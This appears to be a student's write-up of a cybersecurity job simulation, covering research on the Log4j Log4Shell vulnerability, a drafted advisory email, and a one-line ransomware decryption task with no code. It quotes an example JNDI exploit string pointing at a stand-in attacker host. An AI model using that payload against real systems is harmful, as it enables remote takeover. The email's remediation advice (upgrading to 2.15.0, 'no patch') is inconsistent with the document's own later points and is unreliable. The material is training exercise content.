**AIG Cybersecurity Job Simulation**

**Task 1: Responding to a zero-day vulnerability**

* Respond to the *Apache Log4j zero-day* vulnerability that was released to the public by advising affected teams of the vulnerability.

**Steps**

* *First*, conduct your research on the vulnerability using the **“CISA Advisory"** resources provided above as a starting point.
* *Next*, analyze the **“Infrastructure List”** below to find out which infrastructure may be affected by the vulnerability, and which team has ownership.

A white table with black text

AI-generated content may be incorrect.

**Apache Log4j Zero-Day Vulnerability**

* This vulnerability, officially tracked as *CVE-2021-44228*, allows for remote code execution (RCE) and carries a CVSS score of *10.0*, the highest possible severity rating.
* The vulnerability existed in how Log4j versions 2.0-beta9 through 2.14.1 handled log messages. Specifically, it stemmed from a feature that allowed lookups, such as Java Naming and Directory Interface (JNDI) lookups, within log messages. An attacker could craft a malicious string, for example *${jndi:ldap://attacker.com/a}*, and if this string was logged by a vulnerable application, Log4j would interpret it as a JNDI lookup.

This would cause the application to connect to the attacker-controller LDAP server, retrieve a malicious Java class, and execute it. This effectively gave the attacker the ability to run arbitrary code on the compromised server, leading to a full takeover of the system.

* The impact of Log4Shell was catastrophic due to several reasons:
  + **Widespread Use**: Log4j is a fundamental component in a vast number of Java-based application, from enterprise software and cloud services to popular games like Minecraft.
  + **Ease of Exploitation:** It required minimal technical skills. An attacker simply needed to find an input field that would be logged by the application, such as search bar or a user-agent string, and insert the malicious JNDI lookup string.
  + **Remote Code Execution:** The ability to execute code remotely gave attackers complete control over vulnerable systems, allowing them to steal data, install malware, or use the compromised system as a foothold to move laterally within a network.
  + **Zero-day Nature**: At the time of its public disclosure, there was no official patch available, leaving countless systems exposed while a fix was being developed and deployed.
* The initial response was to upgrade to Log4j version 2.15.0. However, the initial patch was found to be incomplete under certain non-default configurations, leading to the discovery of a subsequent, less severe vulnerability *(CVE-2021-45046)*. This prompted the release of version 2.16.0, which disabled JNDI lookups by default.

Further investigation uncovered additional vulnerabilities, including a denial-of-service flaw *(CVE-2021-45105)* and a remote code execution vulnerability in specific configurations *(CVE-2021-44832)*. The ultimate recommendation was to update to the latest secure version of Log4j and to implement a *defense-in-depth* security posture, including network monitoring and egress filtering, to detect and block such attacks.

**Drafted Advisory Email**

**From:** AIG Cyber & Information Security Team

**To:** Product Development Team

**Subject:** Security Advisory concerning Apache Log4j for Product Development Staging Environment

Hello John Doe,

AIG Cyber & Information Security Team would like to inform you that a recent Apache Log4j vulnerability has been discovered in the security community that may affect Product Development Staging Environment.

**Apache Log4j** has been identified with a vulnerability which has highest severity. The vulnerability exists in how versions 2.0-beta9 through 2.14.1 handled log messages. It is very easy to exploit which will result in attacks like ransomware and other sever attacks. It also allows the attackers to execute code remotely which makes it more high risk. Currently, this vulnerability has zero-day nature which means there is no patch for this vulnerability now. Currently, it is advised to upgrade the version to 2.15.0. Further remediation options will be informed as soon as they are developed. As of now, we have deployed defense-in-depth security including network monitoring to block these threats.

For any questions or issues, don’t hesitate to reach out to us.

Kind regards,

AIG Cyber & Information Security Team

**Task 2: Bypassing ransomware**

* Write a Python script to brute force the decryption key of the encrypted file.